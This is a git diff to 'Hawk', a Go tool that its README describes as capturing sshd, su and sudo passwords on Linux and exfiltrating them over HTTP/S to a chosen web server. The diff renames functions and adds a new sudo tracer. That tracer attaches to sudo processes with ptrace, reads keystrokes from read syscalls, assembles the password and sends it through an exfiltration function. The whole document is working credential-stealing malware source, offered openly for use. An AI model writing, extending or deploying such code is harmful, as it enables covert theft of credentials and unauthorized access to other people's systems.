diff --git a/README.md b/README.md index feaa2db..f4bddee 100644 --- a/README.md +++ b/README.md @@ -5,13 +5,13 @@ Hawk -Hawk is a lightweight Golang tool designed to monitor the `sshd` and `su` services for passwords on Linux systems. It reads the content of the proc directory to capture events, and ptrace to trace system calls related to password-based authentication. +Hawk is a lightweight Golang tool designed to monitor the `sshd`, `sudo` and `su` services for passwords on Linux systems. It reads the content of the proc directory to capture events, and ptrace to trace syscalls related to password-based authentication. ## Features -- Monitors SSH and SU commands for passwords -- Reads memory from sshd and sudo system calls without writing to traced processes -- Exfiltrates passwords via HTTP requests to a specified web server +- Monitors SSH, SUDO and SU commands for passwords +- Reads memory from sshd, sudo and sudo syscalls without writing to traced processes +- Exfiltrates passwords via HTTP/S requests to a specified web server - Inspired by [3snake](https://github.com/blendin/3snake) ## Build diff --git a/main.go b/main.go index b2929c1..e9905a1 100644 --- a/main.go +++ b/main.go @@ -13,8 +13,8 @@ import ( "time" ) -func find_pids() []int { - var sshd_pids []int +func findPids() []int { + var sshdPids []int currentPID := os.Getpid() procDirs, err := ioutil.ReadDir("/proc") if err != nil { @@ -24,30 +24,38 @@ func find_pids() []int { if dir.IsDir() { pid, err := strconv.Atoi(dir.Name()) if err == nil && pid != currentPID { - sshd_pids = append(sshd_pids, pid) + sshdPids = append(sshdPids, pid) } } } - return sshd_pids + return sshdPids } -func is_SSH_PID(pid int) bool { - cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) +func isSSHPid(pid int) bool { + cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) if err != nil { return false } - return regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).MatchString(strings.ReplaceAll(string(cmdline), "\x00", " ")) + return regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).MatchString(strings.ReplaceAll(string(cmdLine), "\x00", " ")) } -func is_SU_PID(pid int) bool { - cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) +func isSUPid(pid int) bool { + cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) if err != nil { return false } - return regexp.MustCompile(`^su `).MatchString(strings.ReplaceAll(string(cmdline), "\x00", " ")) + return regexp.MustCompile(`^su `).MatchString(strings.ReplaceAll(string(cmdLine), "\x00", " ")) } -func exfil_password(username, password string) { +func isSUDOPid(pid int) bool { + cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid)) + if err != nil { + return false + } + return regexp.MustCompile(`^sudo `).MatchString(strings.ReplaceAll(string(cmdLine), "\x00", " ")) +} + +func exfilPassword(username, password string) { hostname, err := os.Hostname() if err != nil { return @@ -64,33 +72,42 @@ func exfil_password(username, password string) { func main() { var processedFirstPID bool - var processed_pids []int - var processedPIDsMutex sync.Mutex + var processedPids []int + var processedPidsMutex sync.Mutex for { - sshdPids := find_pids() + sshdPids := findPids() for _, pid := range sshdPids { - processedPIDsMutex.Lock() - if is_SSH_PID(pid) && (!processedFirstPID || !contains(processed_pids, pid)) { + processedPidsMutex.Lock() + if isSSHPid(pid) && (!processedFirstPID || !contains(processedPids, pid)) { if !processedFirstPID { processedFirstPID = true } else { //fmt.Println("SSHD process found with PID:", pid) go traceSSHDProcess(pid) - processed_pids = append(processed_pids, pid) + processedPids = append(processedPids, pid) } } - if is_SU_PID(pid) && (!processedFirstPID || !contains(processed_pids, pid)) { + if isSUPid(pid) && (!processedFirstPID || !contains(processedPids, pid)) { if !processedFirstPID { processedFirstPID = true } else { //fmt.Println("SU process found with PID:", pid) go traceSUProcess(pid) - processed_pids = append(processed_pids, pid) + processedPids = append(processedPids, pid) + } + } + if isSUDOPid(pid) && (!processedFirstPID || !contains(processedPids, pid)) { + if !processedFirstPID { + processedFirstPID = true + } else { + //fmt.Println("SUDO process found with PID:", pid) + go traceSUDOProcess(pid) + processedPids = append(processedPids, pid) } } - processedPIDsMutex.Unlock() + processedPidsMutex.Unlock() } time.Sleep(250 * time.Millisecond) } diff --git a/ssh_tracer.go b/ssh_tracer.go index bad5cb5..aba51de 100644 --- a/ssh_tracer.go +++ b/ssh_tracer.go @@ -56,7 +56,7 @@ func traceSSHDProcess(pid int) { var password = removeNonPrintableAscii(string(buffer)) if len(password) > 2 && len(password) < 100 && exfiled && !strings.HasPrefix(password, "fSHA256") { - go exfil_password(username, removeNonPrintableAscii(password)) + go exfilPassword(username, removeNonPrintableAscii(password)) } exfiled = !exfiled } diff --git a/su_tracer.go b/su_tracer.go index 254cc64..dc4471b 100644 --- a/su_tracer.go +++ b/su_tracer.go @@ -33,8 +33,8 @@ func traceSUProcess(pid int) { } var regs syscall.PtraceRegs - ptrace_err := syscall.PtraceGetRegs(pid, ®s) - if ptrace_err != nil { + err = syscall.PtraceGetRegs(pid, ®s) + if err != nil { syscall.PtraceDetach(pid) return } @@ -64,7 +64,7 @@ func traceSUProcess(pid int) { } return true }(password) { - go exfil_password(username, password) + go exfilPassword(username, password) } } } diff --git a/sudo_tracer.go b/sudo_tracer.go new file mode 100644 index 0000000..6e4376b --- /dev/null +++ b/sudo_tracer.go @@ -0,0 +1,64 @@ +package main + +import ( + "runtime" + "syscall" +) + +func traceSUDOProcess(pid int) { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + err := syscall.PtraceAttach(pid) + if err != nil { + return + } + defer func() { + syscall.PtraceDetach(pid) + }() + var wstatus syscall.WaitStatus + var password string + var bitFlip bool + for { + _, err := syscall.Wait4(pid, &wstatus, 0, nil) + if err != nil { + return + } + + if wstatus.Exited() { + return + } + + if wstatus.StopSignal() == syscall.SIGTRAP { + var regs syscall.PtraceRegs + err := syscall.PtraceGetRegs(pid, ®s) + if err != nil { + syscall.PtraceDetach(pid) + return + } + if (regs.Rdi == 6 || regs.Rdi == 8) && regs.Orig_rax == 0 { + buffer := make([]byte, regs.Rdx) + _, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer) + if err != nil { + return + } + if len(buffer) == 1 { + for _, char := range buffer { + if char == '\n' { + go exfilPassword("root", password) + password = "" + break + } else if char != '\x00' && len(buffer) == 1 && bitFlip { + password += string(char) + } + } + } + bitFlip = !bitFlip + } + } + + err = syscall.PtraceSyscall(pid, 0) + if err != nil { + return + } + } +}